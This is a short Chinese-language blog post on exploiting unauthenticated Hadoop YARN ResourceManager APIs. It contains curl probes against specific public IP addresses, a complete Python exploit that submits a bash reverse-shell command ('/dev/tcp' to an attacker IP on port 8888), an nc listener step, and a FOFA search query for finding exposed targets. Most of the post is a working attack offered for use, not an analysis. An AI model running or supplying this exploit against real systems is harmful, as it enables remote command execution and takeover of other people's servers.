前言:
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令,yarn默认开发8088和8089端口。
漏洞利用:
利用exp反弹shell:
访问漏洞页面,这是Hadoop YARN ResourceManager WebUI页面:
利用curl发送如下格式的post请求包,验证漏洞是否存在:
curl -v -X POST 'http://39.104.106.129:8088/ws/v1/cluster/apps/new-application'
返回application-id的值application_1605282853026_0006,漏洞可能存在。
利用如下exp进行shell反弹:
#!/usr/bin/env python
import requests
target = 'http://116.203.198.65:81/'
lhost = '39.108.118.128'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/8888 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
Nc监听8888端口,运行脚本后反弹回shell:
在web界面也可以看到对应的信息:
END
指纹识别
利用curl发送如下格式的post请求包,如果返回application-id可能存在漏洞:
curl -X POST 'http://39.104.106.129:8088/ws/v1/cluster/apps/new-application'
FOFA语法
title="All Applications"